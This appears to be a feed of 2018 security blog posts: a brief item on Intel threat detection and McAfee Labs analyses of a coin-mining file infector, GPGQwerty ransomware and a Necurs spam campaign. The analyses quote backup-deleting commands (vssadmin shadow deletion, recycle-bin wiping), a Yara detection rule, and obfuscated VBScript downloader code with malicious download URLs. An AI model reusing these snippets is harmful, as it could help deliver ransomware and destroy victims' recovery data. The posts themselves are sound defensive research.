Apr 16 2018

Intel, Microsoft to use GPU to scan memory for malware

Intel Skylake die shot. (credit: Intel)

Since the news of the Metldown and Spectre attacks earlier this year, Intel has been working to reassure the computer industry that it takes security issues very seriously and that, in spite of the Meltdown issue, the Intel platform is a sound choice the security conscious.

To that end, the company is announcing some new initiatives that use features specific to the Intel hardware platform to boost security. First up is Intel Threat Detection Technology (TDT), which uses features in silicon to better find malware.

The company is announcing two specific TDT features. The first is "Advanced Memory Scanning." In an effort to evade file-based anti-virus software, certain kinds of malware refrain from writing anything to disk. This has can have downsides for the malware—it can't persistently infect a machine and, instead, has to reinfect the machine each time it is rebooted—but makes it harder to spot and analyze. To counter this, anti-malware software can scan system memory to look for anything untoward. This, however, comes at a performance cost, with Intel claiming it can cause processor loads of as much as 20 percent.

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Apr 11 2018

Parasitic Coin Mining Creates Wealth, Destroys Systems

The increasing popularity of cryptocurrencies has inspired some people to pursue coin mining, essentially making money online. (Mining is the processing of transactions in the digital currency system, in which new transactions are recorded in a digital ledger called the blockchain. Miners help to update the ledger to verify and collect new transactions to be added to the blockchain. In return, miners earn Bitcoins, for example.) Mining is resource intensive and legal if it is done with the proper permissions.

McAfee Labs has recently seen a huge increase in a malware variant, commonly known as CoinMiner or CoinMiner-FOZU!, which takes control of a victim’s computer to mine new coins by infecting user executables, injecting Coinhive JavaScript into HTML files, and blocking the domains of security products to stop signature updates.

CoinMiner-FOZU!, which we analyzed, has led all major coin-miner malware in prevalence in 2018. (March figures are incomplete.) Source: McAfee Labs.

The following graphs show statistics and geographic data for recent CoinMiner-FOZU! detections:

W32/CoinMiner employs—without a user’s consent—machine resources to mine coins for virtual currencies. Its parasitic nature makes it rare as well as destructive: The malware does not put a unique marker on each file it infects. Thus subsequent infections by the same malware will reinfect the victim’s files.


After launching, CoinMiner copies itself into two hardcoded locations:

  • %Windows%\360\360Safe\deepscan\ZhuDongFangYu.exe
  • %filesystemroot%:\RECYCLER\S-5-4-62-7581032776-5377505530-562822366-6588\ZhuDongFangYu.exe

These two files are hidden and read only:

The binary executes from the first location and starts the parasitic infection process. The malware prepends itself to user-executable files but, unlike traditional file infectors, it does not allow the original file to run. It targets files with extensions .exe, .com, .scr, and .pif. This malware does not check for multiple infections. If the threat is deleted and later reinfects the system, the same files will again be targeted.

To prevent victims from restoring clean copies of their files, the malware deletes both ISO (disk image) and GHO (Norton Ghost) files:


Once CoinMiner finishes infecting other executable files, it injects a Coinhive script into HTML files. The Coinhive service provides cryptocurrency mining software, which using JavaScript code can be embedded in websites and use the site visitor’s processing power to mine the cryptocurrency:

CoinMiner disables the user account control feature, which notifies the user when applications make changes to the system. Through registry updates, it also disables folder options and registry tools, and deletes safe mode.

From its second location on an infected system—the hidden autorun.inf at the file system root—the malware ensures that it starts after rebooting:

To avoid detection by security products, CoinMiner puts security software domains in the hosts file and redirects them to, the loopback address on the victim’s system. If users have not created a local website, they will see an error page in their browsers. By doing this, the malware ensures that no victim can receive an update from the security vendor.

When the victim runs the script-injected HTML files, the Coinhive script executes, downloading coinhive.min.js (hash: 4d6af0dba75bedf4d8822a776a331b2b1591477c6df18698ad5b8628e0880382) from coinhive.com. This script takes over 100% of the CPU for mining using the function setThrottle(0). The mining stops when the victim closes the infected HTML file:

The simple hosts-file injection, hiding in the recycle bin, and maximizing CPU usage suggest that this malware has been written by a novice author. McAfee advises all users to keep their antimalware products up to date.

McAfee Detections

  • W32/CoinMiner
  • CoinMiner-FOZU![Partial hash]
  • TXT/CoinMiner.m
  • HTML/CoinMiner.m
  • JS/Miner.c

Hashes (SHA-256)

  • 80568db643de5f429e9ad5e2005529bc01c4d7da06751e343c05fa51f537560d
  • bb987f37666b6e8ebf43e443fc4bacd5f0ab795194f20c01fcd10cb582da1c57
  • 4d6af0dba75bedf4d8822a776a331b2b1591477c6df18698ad5b8628e0880382

The post Parasitic Coin Mining Creates Wealth, Destroys Systems appeared first on McAfee Blogs.

Mar 19 2018

Ransomware Takes Open-Source Path, Encrypts With GNU Privacy Guard

McAfee Labs has recently observed a new variant of ransomware that relies on the open-source program GNU Privacy Guard (GnuPG) to encrypt data. GnuPG is a hybrid-encryption software program that uses a combination of conventional symmetric-key cryptography for speed and public-key cryptography to ease the secure key exchange. Although ransomware using GnuPG to encrypt files is not unique, it is uncommon.

We analyzed the following SHA-256 hashes of the malware GPGQwerty:

  • 2762a7eadb782d8a404ad033144954384be3ed11e9714c468c99f0d3df644ef5
  • 39c510bc504a647ef8fa1da8ad3a34755a762f1be48e200b9ae558a41841e502
  • f5cd435ea9a1c9b7ec374ccbd08cc6c4ea866bcdc438ea8f1523251966c6e88b

We found these hashes need many support files for successful execution. The three files themselves will not encrypt anything. GPGQwerty consists of a bundle of files that runs together to encrypt a victim’s machine. The bundle comprises ten files:

This ransomware was first seen at the beginning of March. Generally, this type of malware spreads by spam email, malicious attachments, exploits, or fraudulent downloads. The binary 39c510bc504a647ef8fa1da8ad3a34755a762f1be48e200b9ae558a41841e502 was spotted in the wild at hxxp://; it may be part of a drive-by download strategy or was hosted on a legitimate site.

Key.bat, run.js, and find.exe are three files that play a vital role in the encryption process. The infection process follows this path:


The binary find.exe has eight sections and the raw size of its .bss section is zero.

It also has an unusual time and date stamp:

The file includes malicious thread local storage (TLS) callbacks as an anti-analysis trick. Generally, this technique allows executable files to include malicious TLS callback functions to run prior to the AddressOfEntryPoint field (the normal execution point of a binary) in the executable header.

The action starts with the execution of the batch file key.bat. It imports the key and launches find.exe on the victim’s machine by executing the JavaScript run.js. The contents of the batch and JavaScript files are shown in the following snippet:

This ransomware kills some selected running tasks using command-line utility taskkill. This command has options to kill a task or process either by using the process ID or the image filename. In the following snippet, we see it terminating some processes forcefully by using their image names.

The ransomware tries to encrypt data using GnuPG (gpg.exe). The malware appends the extension .qwerty to the encrypted files:

The malware overwrites the original files using shred.exe:

After encryption, the ransomware allots a unique ID that identifies each victim. It also creates a .txt file that states all files on the computer have been locked and the victim must pay to decrypt the files.

GPGQwerty deletes the recycle bin using the Windows utility del:

Using the command “vssadmin.exe Delete Shadows /All /Quiet,” the ransomware silently removes the volume shadow copies (vssadmin.exe, wmic.exe) from the target’s system, thus preventing the victim from restoring the encrypted files. It also deletes backup catalogs (wbadmin.exe) and disables automatic repair at boot time (bcdedit.exe):

Finally, it creates the ransom note readme_decrypt.txt in each folder that holds an encrypted file. The ransom note gives instructions to communicate with an email address within 72 hours to arrange payment.

This Yara rule detects GPGQwerty:

rule crime_ransomware_windows_GPGQwerty: crime_ransomware_windows_GPGQwerty



author = “McAfee Labs”

description = “Detect GPGQwerty ransomware”


$a = “gpg.exe –recipient qwerty  -o”

$b = “%s%s.%d.qwerty”

$c = “del /Q /F /S %s$recycle.bin”

$d = “[email protected]


          all of them



McAfee advises all users to keep their antimalware products up to date. McAfee products detect this malware as Ransomware-GKF! [Partial hash] with DAT Versions 8826 and later. For more on combatin

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Mar 12 2018

Necurs Botnet Leads the World in Sending Spam Traffic

In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can rent access to the botnet to spread their own malicious campaigns.

The most common techniques are email attachments with macros or JavaScript to download malware from different locations. In October, the Locky ransomware campaign used Microsoft’s Dynamic Data Exchange to lure victims into “updating” the attached document with data from linked files—external links that delivered the malware.

In Q4 we noticed several botnet campaigns delivering the following payloads:

  • GlobeImposter ransomware
  • Locky ransomware
  • Scarab ransomware
  • Dridex banking Trojan

A timeline:

Let’s zoom in on one of the campaigns from the Necurs botnet. In the following example, an email automatically sent from a VOIP system informs the victim of a missed call. The email contains an attachment, a Visual Basic script.

In this case, the name is “Outside Caller 19-12-2017 [random nr].” Here is some of the script code:

Execute "Sub Aodunnecessarilybusinesslike(strr):ZabiT.Savetofile writenopopbusinesslikeInPlaceOf , 2 : End Sub"

Disaster = "//21+12:ptth21+12ex"+"e.eUtaLHpbP\21+12elifotevas21+12ydoBes"+"nopser21+12etirw21+12nepo21+12epyT21+12PmeT21+12TeG21+12ssecorP21+12llehs.tpircsW21+12noitacilppA.llehs21+12" & "" 


This piece of code makes sure that the embedded code will be saved to a file. Note the second line of code: It is backward and calls the Windows script shell to execute the code. The following code string ensures that the backward line is read properly:

SudForMake = Split("Microsoft.XMLHTTP21+12Adodb.streaM"+StrReverse(Disaster),  "21+12")


The following line starts the saved code:

writenopopbusinesslikeMacAttack.Run("cmd."&"exe /c START """" "+" " & ArrArr ) 


Once the executable is started, it attempts to download the ransomware from the embedded URLs in the code: 

krapivec = Array("littleblessingscotons.com/jdh673hk?","smarterbaby.com/jdh673hk?","ragazzemessenger.com/jdh673hk?") 


The malware downloaded and executed is GlobeImposter ransomware. After encrypting all files and deleting the Volume Shadow copies to block file restore, the user is prompted with the request to buy the decryptor:

Spam botnets are one of the pillars of the cybercrime business. The authors of these botnets understand their market value and spend their rental income on continuous development. Their work keeps the infrastructure running, creates ever-changing spam messages, and delivers these messages to your inbox—with many avoiding spam blockers. This cybercrime effort should inspire your organization to discuss the implementation of DMARC (domain-based message authentication, reporting & conformance). To learn more about how DMARC can help protect against this kind of threat, visit dmarc.org. For more on Necurs, see the McAfee Labs Threats Report, June 2017.

The post Necurs Botnet Leads the World in Sending Spam Traffic appeared first on McAfee Blogs.